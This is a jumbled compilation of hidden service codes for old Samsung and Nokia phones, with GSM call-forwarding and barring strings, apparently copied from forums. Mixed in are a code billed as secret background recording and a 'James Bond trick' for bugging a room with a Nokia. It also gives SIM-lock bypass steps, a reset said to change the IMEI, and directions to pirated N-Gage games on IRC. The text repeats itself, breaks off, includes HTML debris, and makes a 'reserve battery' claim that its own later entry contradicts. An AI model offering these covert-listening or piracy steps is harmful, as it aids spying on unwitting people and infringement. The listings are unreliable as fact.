    *2767*4636245# Email...
    *2767*4936245# Email...
    *2767*6036245# Email...
    *2767*6136245# Email...
    *2767*6236245# Email...
    *2767*6336245# Email...
    *2767*6536245# Email...
    *2767*6636245# Email...
    *2767*8636245# Email...
    *2767*85236245# Email...

    *2767*3855# = E2P Full Reset
    *2767*2878# = E2P Custom Reset
    *2767*927# = E2P Wap Reset
    *2767*226372# = E2P Camera Reset
    *2767*688# Reset Mobile TV
    #7263867# = RAM Dump (On or Off)
    *2767*49927# = Germany WAP Settings
    *2767*44927# = UK WAP Settings
    *2767*31927# = Netherlands WAP Settings
    *2767*420927# = Czech WAP Settings
    *2767*43927# = Austria WAP Settings
    *2767*39927# = Italy WAP Settings
    *2767*33927# = France WAP Settings
    *2767*351927# = Portugal WAP Settings
    *2767*34927# = Spain WAP Settings
    *2767*46927# = Sweden WAP Settings
    *2767*380927# = Ukraine WAP Settings
    *2767*7927# = Russia WAP Settings
    *2767*30927# = GREECE WAP Settings
    *2767*73738927# = WAP Settings Reset
    *2767*49667# = Germany MMS Settings
    *2767*44667# = UK MMS Settings
    *2767*31667# = Netherlands MMS Settings
    *2767*420667# = Czech MMS Settings
    *2767*43667# = Austria MMS Settings
    *2767*39667# = Italy MMS Settings
    *2767*33667# = France MMS Settings
    *2767*351667# = Portugal MMS Settings
    *2767*34667# = Spain MMS Settings
    *2767*46667# = Sweden MMS Settings
    *2767*380667# = Ukraine MMS Settings
    *2767*7667#. = Russia MMS Settings
    *2767*30667# = GREECE MMS Settings

    *#7465625# = Check the locks
    *7465625*638*Code# = Enables Network lock
    #7465625*638*Code# = Disables Network lock
    *7465625*782*Code# = Enables Subset lock
    #7465625*782*Code# = Disables Subset lock
    *7465625*77*Code# = Enables SP lock
    #7465625*77*Code# = Disables SP lock
    *7465625*27*Code# = Enables CP lock
    #7465625*27*Code# = Disables CP lock
    *7465625*746*Code# = Enables SIM lock
    #7465625*746*Code# = Disables SIM lock
    *7465625*228# = Activa lock ON
    #7465625*228# = Activa lock OFF
    *7465625*28638# = Auto Network lock ON
    #7465625*28638# = Auto Network lock OFF
    *7465625*28782# = Auto subset lock ON
    #7465625*28782# = Auto subset lock OFF
    *7465625*2877# = Auto SP lock ON
    #7465625*2877# = Auto SP lock OFF
    *7465625*2827# = Auto CP lock ON
    #7465625*2827# = Auto CP lock OFF
    *7465625*28746# = Auto SIM lock ON
    #7465625*28746# = Auto SIM lock OFF



    **********************

    #*7878# FirstStartup (0=NO, 1=YES)
    #*3838# Blinks 3D030300 in RED
    #*2077# GPRS Switch
    #*2027# GPRS Switch
    #*0227# GPRS Switch
    #*0277# GPRS Switch
    #*22671# AMR REC START
    #*22672# Stop AMR REC (File name: /a/multimedia/sounds/voice list/ENGMODE.amr)
    #*22673# Pause REC
    #*22674# Resume REC
    #*22675# AMR Playback
    #*22676# AMR Stop Play
    #*22677# Pause Play
    #*22678# Resume Play
    #*77261# PCM Rec Req
    #*77262# Stop PCM Rec
    #*77263# PCM Playback
    #*77264# PCM Stop Play
    #*22679# AMR Get Time
    *#8999*364# Watchdog ON/OFF
    *#8999*427# WATCHDOG signal route setup
    *2767*3855# = Full Reset (Caution every stored data will be deleted.)
    *2767*2878# = Custom Reset
    *2767*927# = Wap Reset
    *2767*226372# = Camera Reset (deletes photos)
    *2767*688# Reset Mobile TV
    #7263867# = RAM Dump (On or Off)
    Samsung Secret Codes Part 3
    *2767*49927# = Germany WAP Settings
    *2767*44927# = UK WAP Settings
    *2767*31927# = Netherlands WAP Settings
    *2767*420927# = Czech WAP Settings
    *2767*43927# = Austria WAP Settings
    *2767*39927# = Italy WAP Settings
    *2767*33927# = France WAP Settings
    *2767*351927# = Portugal WAP Settings
    *2767*34927# = Spain WAP Settings
    *2767*46927# = Sweden WAP Settings
    *2767*380927# = Ukraine WAP Settings
    *2767*7927# = Russia WAP Settings
    *2767*30927# = GREECE WAP Settings
    *2767*73738927# = WAP Settings Reset
    *2767*49667# = Germany MMS Settings
    *2767*44667# = UK MMS Settings
    *2767*31667# = Netherlands MMS Settings
    *2767*420667# = Czech MMS Settings
    *2767*43667# = Austria MMS Settings
    *2767*39667# = Italy MMS Settings
    *2767*33667# = France MMS Settings
    *2767*351667# = Portugal MMS Settings
    *2767*34667# = Spain MMS Settings
    *2767*46667# = Sweden MMS Settings
    *2767*380667# = Ukraine MMS Settings
    *2767*7667#. = Russia MMS Settings
    *2767*30667# = GREECE MMS Settings
    *#7465625# = Check the phone lock status
    *7465625*638*Code# = Enables Network lock
    #7465625*638*Code# = Disables Network lock
    *7465625*782*Code# = Enables Subset lock
    #7465625*782*Code# = Disables Subset lock
    *7465625*77*Code# = Enables SP lock
    #7465625*77*Code# = Disables SP lock
    *7465625*27*Code# = Enables CP lock
    #7465625*27*Code# = Disables CP lock
    *7465625*746*Code# = Enables SIM lock
    #7465625*746*Code# = Disables SIM lock
    *7465625*228# = Activa lock ON
    #7465625*228# = Activa lock OFF
    *7465625*28638# = Auto Network lock ON
    #7465625*28638# = Auto Network lock OFF
    *7465625*28782# = Auto subset lock ON
    #7465625*28782# = Auto subset lock OFF
    *7465625*2877# = Auto SP lock ON
    #7465625*2877# = Auto SP lock OFF
    *7465625*2827# = Auto CP lock ON
    #7465625*2827# = Auto CP lock OFF
    *7465625*28746# = Auto SIM lock ON
    #7465625*28746# = Auto SIM lock OFF

    Type *#9998*627837793# Go to the 'my parameters' and there you will find new menu where you can unlock phone.(not tested-for samsung C100)
    To unlock a Samsung turn the phone off take the sim card and type the following code *#pw+15853649247w# .

    Java status code: #*53696# (Samsung X600)

    If you want to unlock your phone put a sim from another company then type *#9998*3323# it will reset your phone. Push exit and then push 7, it will reset again. Put your other sim in and it will say sim lock, type in 00000000 then it should be unlocked. Type in *0141# then the green call batton and it's unlocked to all networks. This code may not work on the older phones and some of the newer phones. If it doesn't work you will have to reset your phone without a sim in it by typing *#2767*2878# or *#9998*3855# (not tested)



    *2767*688# = Unlocking Code
    *#8999*8378# = All in one Code
    *#4777*8665# = GPSR Tool
    *#8999*523# = LCD Brightness
    *#8999*3825523# = External Display
    *#8999*377# = Errors
    #*5737425# = JAVA Something{I choose 2 and it chrashed}][/b]
    *#2255# = Call List

    #*536961# = Java Status Code
    #*536962# = Java Status Code
    #*536963# = Java Status Code
    #*53696# = Java Status Code

    #*1200# = AFC DAC Val
    #*1300# = IMEI
    #*1400# = IMSI

    #*2562# = ??? White for 15 secs than restarts.
    #*2565# = Check Blocking
    #*3353# = Check Code
    #*3837# = ??? White for 15 secs than restarts.
    #*3849# = ??? White for 15 secs than restarts.
    #*3851# = ??? White for 15 secs than restarts.
    #*3876# = ??? White for 15 secs than restarts.

    #*7222# = Operation Typ (Class C GSM)
    #*7224# = I Got !! ERROR !!
    #*7252# = Oparation Typ (Class B GPRS)
    #*7271# = Multi Slot (Class 1 GPRS)
    #*7274# = Multi Slot (Class 4 GPRS)
    #*7276# = Dunno
    #*7337# = EEPROM Reset (Unlock and Resets WAP Settings)
    #*2787# = CRTP ON/OFF
    #*3737# = L1 Dbg data
    #*5133# = L1 Dbg data
    #*7288# = GPRS Attached
    #*7287# = GPRS Detached
    #*7666# = SrCell Data
    #*7693# = Sleep Act/DeAct (Enable or Disable the Black screen after doing nothing for a while)
    #*7284# = Class : B,C or GPRS
    #*2256# = Calibration Info
    #*2286# = Battery Data
    #*2527# = GPRS Switching (set to: class 4, class 8, class 9 or class 10)
    #*2679# = Copycat feature (Activate or Deactivate)
    #*3940# = External loop test 9600 bps
    #*4263# = Handsfree mode (Activate or Deactivate)
    #*4700# = Half Rate (Activate or Deactivate)
    #*7352# = BVMC Reg value
    #*8462# = Sleeptime
    #*2558# = Time ON
    #*3370# = EFR (Activate or Deactivate)
    #*3941# = External looptest 115200 bps
    #*5176# = L1 Sleep
    #*7462# = SIM phase
    #*7983# = Voltage/Frequenci (Activate or Deactivate)
    #*7986# = Voltage (Activate or Deactivate)
    #*8466# = Old time
    #*2255# = Call ???
    #*5187# = L1C2G trace (Activate or Deactivate)
    #*5376# = ??? White for 15 secs than restarts.
    #*6837# = Official Software Version
    #*7524# = KCGPRS
    #*7562# = LOCI GPRS
    #*7638# = RLC allways open ended TBF (Activate or Deactivate)
    #*7632# = Sleep mode Debug
    #*7673# = Sleep mode RESET
    #*2337# = Permanent Registration Beep
    #*2474# = ???
    #*2834# = Audio Path
    #*3270# = DCS support (Activate or Deactivate)
    #*3282# = Data (Activate or Deactivate)
    #*3476# = EGSM (Activate or Deactivate)
    #*3676# = Flash volume formated
    #*4760# = GSM (Activate or Deactivate)
    #*4864# = Dunno doesn't work on newer versions
    #*5171# = L1P1
    #*5172# = L1P2
    #*5173# = L1P3
    #*7326# = Accessory (I got Vibrator)
    #*7683# = Sleep variable (
    #*7762# = SMS Brearer CS (Activate or Deactivate)
    #*8465# = Time in L1
    #*9795# = wtls key
    #*2252# = Current CAL
    #*2836# = AVDDSS Management (Activate or Deactivate)
    #*3877# = Dump of SPY trace
    #*7728# = RSAV done# (Everything went to standart but nothing was deleted)
    #*2677# = ARM State (None or Full Rate)
    *#8999*636# = Have no clue what it is, i see 20 lines
    *#9999# = Software version
    *#8999*8376263# = HW ver, SW ver and Build Date
    *#8888# = HW version
    *#8377466# = Same HW/SW version thing

    *#7465625# = Check the locks
    *7465625*638*Code# = Enables Network lock
    #7465625*638*Code# = Disables Network lock
    *7465625*782*Code# = Enables Subset lock
    #7465625*782*Code# = Disables Subset lock
    *7465625*77*Code# = Enables SP lock
    #7465625*77*Code# = Disables SP lock
    *7465625*27*Code# = Enables CP lock



    #7465625*638*Code# = Disables Network lock
    *7465625*782*Code# = Enables Subset lock
    #7465625*782*Code# = Disables Subset lock
    *7465625*77*Code# = Enables SP lock
    #7465625*77*Code# = Disables SP lock
    *7465625*27*Code# = Enables CP lock
    #7465625*27*Code# = Disables CP lock
    *7465625*746*Code# = Enables SIM lock
    #7465625*746*Code# = Disables SIM lock
    *7465625*228# = Activa lock ON
    #7465625*228# = Activa lock OFF
    *7465625*28638# = Auto Network lock ON
    #7465625*28638# = Auto Network lock OFF
    *7465625*28782# = Auto subset lock ON
    #7465625*28782# = Auto subset lock OFF
    *7465625*2877# = Auto SP lock ON
    #7465625*2877# = Auto SP lock OFF
    *7465625*2827# = Auto CP lock ON
    #7465625*2827# = Auto CP lock OFF
    *7465625*28746# = Auto SIM lock ON
    #7465625*28746# = Auto SIM lock OFF

    *2767*3855# = E2P Full Reset
    *2767*2878# = E2P Custom Reset
    *2767*927# = E2P WAP Reset
    *2767*226372# = E2P Camera Reset
    #*6420# = MIC Off
    #*6421# = MIC On
    #*6422# = MIC Data
    #*6428# = MIC Measurement
    #*3230# = Trace enable and DCD disable
    #*3231# = Trace disable and DCD enable
    #*3232# = Current Mode
    #7263867# = RAM Dump (On or Off)
    *2767*49927# = Germany WAP Settings
    *2767*44927# = UK WAP Settings
    *2767*31927# = Netherlands WAP Settings
    *2767*420927# = Czech WAP Settings
    *2767*43927# = Austria WAP Settings
    *2767*39927# = Italy WAP Settings
    *2767*33927# = France WAP Settings
    *2767*351927# = Portugal WAP Settings
    *2767*34927# = Spain WAP Settings
    *2767*46927# = Sweden WAP Settings
    *2767*380927# = Ukraine WAP Settings
    *2767*7927# = Russia WAP Settings
    *2767*30927# = GREECE WAP Settings
    *2767*73738927# = WAP Settings Reset
    *2767*49667# = Germany MMS Settings
    *2767*44667# = UK MMS Settings
    *2767*31667# = Netherlands MMS Settings
    *2767*420667# = Czech MMS Settings
    *2767*43667# = Austria MMS Settings
    *2767*39667# = Italy MMS Settings
    *2767*33667# = France MMS Settings
    *2767*351667# = Portugal MMS Settings
    *2767*34667# = Spain MMS Settings
    *2767*46667# = Sweden MMS Settings
    *2767*380667# = Ukraine MMS Settings
    *2767*7667#. = Russia MMS Settings
    *2767*30667# = GREECE MMS Settings
    *335# = Delete all MMS Messages
    *663867# = Dump Mm file
    #*536961# = WAPSAR enable / HTTP disable
    #*536962# = WAPSAR disable / HTTP enable
    #*536963# = Serial eable / Others disable
    #*53696# = Java Download Mode
    #*5663351# = WAP Model ID [Your Model]
    #*5663352# = WAP Model ID [SEC-SGHXXXX/1.0]
    #*566335# = WAP Model ID [SEC-SGHXXXX/1.0]
    *2767*66335# = Check on which model it is
    *2767*7100# = SEC-SGHS100/1.0
    *2767*8200# = SEC-SGHV200/1.0
    *2767*7300# = SEC-SGHS300/1.0
    *2767*7650# = Nokia7650/1.0
    *2767*2877368# = Reset WAP Model ID to standart

    Samsung D series hack



    hey hackers well samsung d820 is the phone i use personally..

    thought getting some hack codes..


    hmm SUCCESS


    try dese out

    Tips and Tricks for the D820, D900, and other Samsung phones with similar firmware.

    #*22671* - Starts the phone recording in the background. It can record up to an hour, secretly. Press #*22672*

    Holding the volume button when the screen is off displays a short summary of information. Time, Date, signal, missed calls, etc...


    Enter code *#1234# to display Firmware version of the phone
    Example : D900XAFG6
    D900 = model
    XA = Region / Country
    F = Year (2006)
    G = Month (July)
    6 = Firmware Release in month (so this is the 6th revision)

    Hold down # to mute, or unmute the phone.

    Press 1 while watching a video to make it full screen.

    While playing a song in music player u can highlight a part of the song to be repeated over, while listening to the song press 7 at the point u want repeated then press 7 again at the end of the section and it will loop the section between the the two presses of 7

    If you need to send a photo via mms and its too big to send and u have no pc available to downsize the pic (my limit is 100kb via mms with my sim) open the photo in photo editor on the phone and "save as" rename it differently from the original and u will have two copys of the pic and the edited version will be under 100kb.

    Hidden Menu: *#8999*8378#

    Make MP3 sound louder:
    1. hit: *#8999*8378#
    2. hit: 2, and then 2 again.
    3. then on IIS NORMAL (or hit 9)
    4. then on "Rx vol."
    5. for level 10, click 0
    then save

    Orignals are:
    level 10 = 10
    level 9 = 18

    Make sound setting louder when som1s calling:
    1. *#8999*8378#
    2. 2 times 2
    3. 1 (NORMAL)
    4. then on "Rx vol."
    5. level 5 type 140 instead of 120

    Any other tips or tricks? Feel free to post them.

    Exclusive Stuff : Samsung Mobile



    *#06# -> Show IMEI


    *#9999# -> Show Software Version


    *#0837# -> Show Software Version (instructions)


    *#0001# -> Show Serial Parameters


    *#9125# -> Activates the smiley when charging.

    *#9998*228# -> Battery status (capacity, voltage, temperature)


    *#9998*246# -> Program status


    *#9998*289# -> Change Alarm Buzzer Frequenc

    y
    *#9998*324# -> Debug screens


    *#9998*364# -> Watchdog


    *#9998*377# -> EEPROM Error Stack - Use side keys to select values. Cancel and ok.


    *#9998*427# -> Trace Watchdog


    *#9998*523# -> Change LCD contrast - Only with version G60RL01W


    *#9998*544# -> Jig detect


    *#9998*636# -> Memory status


    *#9998*746# -> SIM File Size


    *#9998*778# -> SIM Service Table


    *#9998*785# -> RTK (Run Time Kernel) errors - if ok then phn is reset, info is put in memory error. *#9998*786# -> Run, Last UP, Last DOWN


    *#9998*837# -> Software Version


    *#9998*842# -> Test Vibrator - Flash the screenligth during 10 seconds and vibration activated.


    *#9998*862# -> Vocoder Reg - Normal, Earphone or carkit can be selected


    *#9998*872# -> Diag


    *#9998*947# -> Reset On Fatal Error


    *#9998*999# -> Last/Chk

    *#9998*9266# -> Yann debug screen (=Debug Screens?)


    *#9998*9999# -> Software version

    *0001*s*f*t# -> Changes serial parameters (s=?, f=0,1, t=0,1) (incomplete)
    *0002*?# -> unknown
    *0003*?# -> unknown


    SP-unlock SGH-600 and SGH 2100

    *2767*3855# -> Full EEPROM Reset ( THIS CODE REMOVES the Security Lock and formats The Mobile's Chipset )

    But also changes IMEI to 447967-89-400044-0, To restore your old IMEI use the IMEI program found on the software page.



    *2767*2878# -> Custom EEEPROM Reset ( does not change the securitu CODE )




    Mobile Cheat Stuff


    NOKIA



    1 Imagine ur cell battery is very low, u r expecting an important call and u don't have a charger.

    Nokia instrument comes with a reserve battery. To activate, key is "*3370#"

    Ur cell will restart with this reserve and ur instrument will show a 50% incerase in battery.

    This reserve will get charged when u charge ur cell next time.

    *3370# Activate Enhanced Full Rate Codec (EFR)-Your phone uses the best sound quality but talk time is reduced by approx. 5%
    #3370# Deactivate Enhanced Full Rate Codec( EFR)


    *#4720# Activate Half Rate Codec - Your phone uses a lower quality sound
    but you should gain approx 30% more Talk Time
    *#4720# Deactivate Half Rate Codec

    2 *#0000# Displays your phones software version,

    1st Line :S oftware Version,
    2nd Line : Software Release Date,
    3rd Line : Compression Type
    3 *#9999# Phones software v ersion if *#0000# does not work

    4 *#06# For checking the International Mobile Equipment Identity (IMEI Number)

    5 #pw+1234567890+1# Provider Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

    6 #pw+1234567890+2# Network Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

    7 #pw+1234567890+3# Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

    8 #pw+1234567890+4# SIM Card Lock Status.(use the "*" button to obtain the "p,w" and "+" symbols)

    9 *#147# (vodafone) this lets you know who called you last *#1471# Last call (Only vodofone)

    10 *#21# Allows you to check the number that "All Calls" are diverted To

    11 *#2640# Displays security code in use


    12 *#30# Lets you see the private number

    13 *#43# Allows you to check the "Call Waiting" status of your phone.

    14 *#61# Allows you to check the number that "On No Reply" calls are diverted to

    15 *#62# Allows you to check the number that "Divert If Unrea chable(no service)" calls are diverted to

    16 *#67# Allows you to check the number that "On Busy Calls" are diverted to

    17 *#67705646#R emoves operator logo on 3310 & 3330

    18 *#73# Reset phone timers and game scores

    19 *#746025625# Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock Stop Allowed", it
    means you will get the best standby time possible

    20 *#7760# Manufactures code

    21 *#7780# Restore factory settings

    22 *#8110# Software version for the nokia 8110

    23 *#92702689# (to rember *#WAR0ANTY#)

    Displays -
    1.Serial Number,
    2.Date Made
    3.Purchase Date,
    4.Date of last repair (0000 for no repairs),
    5.Transfer User Data.
    To exit this mode -you need to switch your phone off then on again

    24 *#94870345123456789# Deactivate the PWM-Mem

    25 **21*number# Turn on "All Calls" diverting to the phone number entered

    26 **61*number# Turn on "No Reply" diverting to the phone number entered

    27 **67*number# Turn on "On Busy" diverting to the phone number entered

    Each command is prefixed with either one or two * or # characters as follows:
    ** Register and Activate
    * Activate
    ## De-Register (and Deactivate)
    # Deactivate
    *# Check Status
    © Call button



    Once each command has been entered, if it is a network command (as opposed to a local handset command) it must be transmitted to the network by pressing the YES (receiver) key which acts as an enter key - this is represented here with the © character. Always enter numbers in full international format +CountryAreaNumber ( e.g. +447712345678).

    Command Description Command String
    Security
    Change call barring code **03*OldCode*NewCode*NewCode#©
    Change call barring code **03*330*OldCode*NewCode*NewCode#©
    Change PIN code **04*OldPIN*NewPIN*NewPIN#©
    Change PIN2 code **042*OldPIN2*NewPIN2*NewPIN2#©
    Unlock PIN code (when PIN is entered wrong 3 times) **05*PUK*NewPIN*NewPIN#©
    Unlock PIN2 code (when PIN2 is entered wrong 3 times) **052*PUK2*NewPIN2*NewPIN2#©
    Display IMEI *#06#
    Call Forwarding (Diversions)
    De-register all call diversions ##002#©
    Set all configured call diversions to number and activate **004*number#©
    De-register all configured call diversions (no answer, not reachable, busy) ##004#©
    Unconditionally divert all calls to number and activate **21*number#©
    Activate unconditionally divert all calls *21#©
    De-register unconditionally divert all calls ##21#©
    Deactivate unconditionally divert all calls #21#©
    Check status of unconditionally divert all calls *#21#©
    Divert on no answer to number and activate **61*number#©
    Activate divert on no answer *61#©
    De-register divert on no answer ##61#©
    Deactivate divert on no answer #61#©
    Check status of divert on no answer *#61#©
    Divert on not reachable to number and activate **62*number#©
    Activate divert on not reachable *62#©
    De-register divert on not reachable ##62#©
    Deactivate divert on not reachable #62#©
    Check status of divert on not reachable *#62#©
    Divert on busy to number and activate /td> **67*number#©<> *#330*code#©<>*** WARNING: Using secret codes may be harmful to your phone and result in disabling or worse. Use these codes at your own discretion, we accept no responsiblility for blocked pones while using these codes!!!
    IMEI Number
    *#06# Cells Identity Code (IMEI = International Mobile Equipment Identity)
    XXXXXX XX XXXXXX X
    TAC FAC SNR SP
    TAC = Type Approval Code (first 2 digits = country code of the approval-country )
    FAC = Final Assembly Code: (01,02 = AEG)
    (10,20 Nokia)
    (40,41,44 Siemens)
    (30 Ericsson)
    (50 Bosch)
    (51 Sony,Siemens,Ericsson)
    (60 Alcatel)
    (65 AEG)
    (70 Sagem)
    (75 Dancall)
    (80 Philips)
    (85 Panasonic)
    SNR = Serial Nr.
    SP = Spare (always "0")

    Software Version
    *#0000# shows the software version
    Signal Processing
    *3370# - Enchanced full Rate Codec (EFR) activation. It will automatically restart.
    #3370# - Enchanced full Rate Codec (EFR) deactivation
    *4720# - Half Rate Codec activation. It will automatically restart.
    #4720# - Half Rate Codec deactivation
    Enchanced Full Rate will give you much better sound quality when you enable it. The new Enhanced Full Rate CODEC adopted by GSM uses the ASELP (AlgebraicCode Excitation Linear Prediction) compression technology. This technology allows for much great voice quality in the same number of bits as the older Full Rate CODEC. The older technology was called LPC-RPE (Linear Prediction Coding with Regular Pulse Excitation). Both operate at 13 kilobits.(but you take up more space on the network, so they can charge you more) - Talk-time is reduced with about 5%



    Sim Clock Stopping
    *#746025625#
    [*#sim0clock#]
    Checks if the sim clock can be stopped. Sim clock stop is a kind of stand-by mode which will save battery time. This code doesn't work with software version 4.59.
    It will tell you if it can be stopped or not.


    Warrenty Menu
    *#92702689# takes you to a secret menu with 6 choices:
    [*#war0anty#]
    1. Displays Serial Number.
    2. Displays the Month and Year of Manufacture (0997).
    3. Displays (if there) the date where the phone was purchased (MMYY).
    4. Displays the date of the last repairment - if found (0000).
    5. Makes you capable of transferring user data if you have the gear for it.
    6. Shows how long the phone has been used to talk. This counter is not reset by when you "clear timers" like the counters in the call register.


    Bypass the SP lock With a Nokia 16xx/21xx/31xx/51xx/81xx
    1. Insert SIM card of different provider.
    2. Turn on the phone and press the UP VOLUME key for 3 sec.
    Then release it and the phone says PIN CODE?
    3. Press the "C" key.
    4. Then Press * and wait until it disappears and appears again, then press * one more time and 04*PIN*PIN*PIN#


    Nokia Speed Trap Detector Urban Legend spread by Nokia Engineers ;^)
    The settings for radar speed traps detector. Your Nokia cell phone can be programmed to pick up radar speed traps, when programmed your cell phone picks up the radar and alerts you on the message alert tone. ( Doesn't work with Nokia 7110! )
    1. Enter your menu
    2. Select settings
    3. Select security settings
    4. Select closed user group
    5. Select on
    6. Enter 00000
    7. Press ok
    8. Clear back to normal, within a few seconds your phone will display a radar sign with five zero's next to it. It is now activated.
    Unfortunately only Nokia phones have this function. The Cell Phone info display needs to be de-activated. Settings -> Phone Settings -> Cell Info display. Each time you turn off your phone, or even each time you loose contact with your carrier, you'll have to activate it again... It is done using steps 1 through 5 above, but the number (00000) will be already on the field as a default.

    The James Bond Trick



    If you short-circuit the left middle and right pins on the bottom of the phone with all connections touching each other, the Nokia software hangs! The profile "Headset" will be activated. Before you do this just activate the "Automatic Answer" in the headset profile and set the ringing volume to "Mute". Now you can use your phone for checking out what people are talking about in a room. Just place it under a table in a room and call it. The phone receives the call without ringing and you can listen to what people are saying! Network Monitor
    There is a hidden menu inside your Nokia phone. If you want to activate it, you'll have to re-program some chips inside of your phone.
    Check your software version. You can only continue if you have v4.33, v4.73 or v5.24.
    Take apart the phone.
    De-solder the EEPROM (ATMEL AT 24C64)
    Read out the data with an EEPROM programmer and save it to a file (Backup)
    If you have v.33 or v4.73, change the address "03B8" from "00" to "FF"
    If you have v5.24 then change the address "0378" from "00" to "FF"
    Write the new data to the EEPROM and solder it back to the phone
    Power on your phone and you should have "Netmonitor" enabled.
    The Network Monitor gives you the following information:
    Carrier number, MS RX Level in DBM, Received signal quality, MS TX power level, C1 (Path loss criterion, used for cell selection and reselection). The range is -99 to 99, RTL (Radio link timeout), Timeslot, Indication of the transmitter status, Information on the Network parameters, TMSI (Temporary Mobile Subscriber Identity), Cell identification (Cell ID, Number of cells being used), MCC (Mobile country code), MCN (Mobile network code), LAC (Location area code), Ciphering (On/Off), Hopping (On/Off), DTX (On/Off), Discard cell barred information.


    Game Hacking with Blizzard



    Get the file called the 'BlizzardN-GAGE.SIS' from IRC get in #mediaplace on Efnet (note: Downloading cracked/Hacked games is illegal unless you already own a copy of game)
    The Blizzard Nokia N-Gage Installer.
    1. Unpack Blizzard.sis file that you get from mIRC
    2. Transfer the .sis file to your N-Gage
    3. Get the .blz (N-gage ROM) from mIRC
    4. copy the file to the root dir of your MMC (16MB MMC)Multimedia Card
    5. Use the Blizzard application to unpack the .blz file
    6. After unpacking the sonic icon should appeared in the MENU
    7. Clicked sonic icon and it should work !



    List of compatible games for the 3650,6600 and the N-gage that work:
    [3650]
    SonicN (v.2.5+)
    Puyo Pop (v.2.5+)
    [6600]
    SonicN
    Puyo Pop
    Pandemonium
    Tomb Raider
    Super Monkey Ball
    Tony Hawks Pro Skater
    [N-Gage]
    SonicN
    Puyo Pop
    Pandemonium
    Tomb Raider
    Super Monkey Ball
    Tony Hawks Pro Skater
    GSM Network Services Command Strings
    When various network functions are selected via the cellphone's menu using the keypad, the cellphone automatically generates the corresponding GSM network command string and transmits it to the network. These commands can however be manually entered via the keypad.


    Each command is prefixed with either one or two * or # characters as follows:
    ** Register and Activate
    * Activate
    ## De-Register (and Deactivate)
    # Deactivate
    *# Check Status
    © Call button


    Once each command has been entered, if it is a network command (as opposed to a local handset command) it must be transmitted to the network by pressing the YES (receiver) key which acts as an enter key - this is represented here with the © character. Always enter numbers in full international format +CountryAreaNumber ( e.g. +447712345678).
    Command Description Command String
    Security
    Change call barring code **03*OldCode*NewCode*NewCode#©
    Change call barring code **03*330*OldCode*NewCode*NewCode#©
    Change PIN code **04*OldPIN*NewPIN*NewPIN#©
    Change PIN2 code **042*OldPIN2*NewPIN2*NewPIN2#©
    Unlock PIN code (when PIN is entered wrong 3 times) **05*PUK*NewPIN*NewPIN#©
    Unlock PIN2 code (when PIN2 is entered wrong 3 times) **052*PUK2*NewPIN2*NewPIN2#©
    Display IMEI *#06#
    Call Forwarding (Diversions)
    De-register all call diversions ##002#©
    Set all configured call diversions to number and activate **004*number#©
    De-register all configured call diversions (no answer, not reachable, busy) ##004#©
    Unconditionally divert all calls to number and activate **21*number#©
    Activate unconditionally divert all calls *21#©
    De-register unconditionally divert all calls ##21#©
    Deactivate unconditionally divert all calls #21#©
    Check status of unconditionally divert all calls *#21#©
    Divert on no answer to number and activate **61*number#©
    Activate divert on no answer *61#©
    De-register divert on no answer ##61#©
    Deactivate divert on no answer #61#©
    Check status of divert on no answer *#61#©
    Divert on not reachable to number and activate **62*number#©
    Activate divert on not reachable *62#©
    De-register divert on not reachable ##62#©
    Deactivate divert on not reachable #62#©
    Check status of divert on not reachable *#62#©
    Divert on busy to number and activate /td> **67*number#©<
    Activate divert on busy *67#©
    De-register divert on busy ##67#©
    Deactivate divert on busy #67#©
    Check status of divert on busy *#67#©
    Change number of seconds of ringing for the given service before diverting a call (such as on no answer). Seconds must be a value from 5 to 30. De-registering the same divert will also delete this change! **service*number**seconds#© (Service numbers, see below)
    Call barring
    Activate barr all outgoing calls (see Security to set code) **33*code#©
    Deactivate barr all outgoing calls #33*code#©
    Check status of barr all outgoing calls *#33#©
    Activate barr all calls **330*code#©
    Deactivate barr all calls #330*code#©
    Check status of barr all calls /td> *#330*code#©<
    Activate barr all outgoing international calls **331*code#©
    Deactivate barr all outgoing international calls #331*code#©
    Check status of barr all outgoing international calls *#331#©
    Activate barr all outgoing international calls except to home country **332*code#©
    Deactivate barr all outgoing international calls except to home country #332*code#©
    Check status of barr all outgoing international calls except to home country *#332#©
    Activate barr all outgoing calls **333*code#©
    Deactivate barr all outgoing calls #333*code#©
    Check status of barr all outgoing calls *#333#©
    Activate barr all incoming calls **35*code#©
    Deactivate barr all incoming calls #35*code#©
    Check status of barr all incoming calls *#35#©
    Activate barr all incoming calls when roaming **351*code#©
    Deactivate barr all incoming calls when roaming #351*code#©
    Check status of barr all incoming calls when roaming *#351#©
    Activate barr all incoming calls **353*code#©
    Deactivate barr all incoming calls #353*code#©
    Check status of barr all incoming calls *#353#©
    Call waiting
    Activate call waiting *43*#©
    Deactivate call waiting #43##©
    Check status of call waiting *#43#©
    Calling Line Identification
    The following only works if CLIP and CLIR are enabled (ask your service provider)
    CLIP: Presentation of the number of the incoming call
    Activate CLIP **30#©
    Deactivate CLIP ##30#©
    Check status of CLIP *#30#©
    CLIR: Presentation of one's own number to the to the called party
    Activate CLIR **31#©
    Activate CLIR for the actual call *31#number©
    Deactivate CLIR ##31#©
    Deactivate CLIR for the actual call #31#number©
    Check status of CLIR *#31#©
    COLP: Presentation of the actual number reached (if number called was diverted to another number
    Activate COLP *76#©
    Deactivate COLP #76#©
    Check status of COLP *#76#©
    COLR: Presentation of the original number called by the calling party (if the call was diverted to this cellphone)
    Activate COLR *77#©
    Deactivate COLR #77#©
    Check status of COLR *#77#©

    Cellphone Services
    10 All types of cellphone services
    11 Speech service
    12 Data service
    13 Fax
    14 Datex-J
    15 Teletex
    16 Short message service (SMS)
    18 All data services without SMS
    19 All cellphone services without SMS

    Carrier Services
    20 All services
    21 All asynchronous services
    22 All synchronous services
    23 3.1kHz services
    24 Synchronous point-to-point connections including PAD's (all synchronous data services)
    25 Asynchronous point-to-point connections including PAD's (all asynchronous data services)
    26 Data packet sending including PAD's (all synchronous data packet services)
    27 Services with PAD-share
    29 Digital connection with 12kbps

    GSM Network Service Codes
    Note that at present only the following service codes are in use:
    11 Speech
    13 fax
    25 data

    Cell Broadcast
    While Short Message Service (SMS) can be configured as a personal service, Cell Broadcast is a general service which is designed for subscribers of a specific cell or topic. For example, a subscriber to cell 050 in England will receive information on the GSM tower currently being used by their phone. This new concept brings a whole new meaning to the term mobile communications as the phone is now able to receive information such as share prices or weather updates without the need of data cards and computers. At present the following message types exist (note: this may vary from carrier to carrier and some carriers may charge for this service):

    Code Title
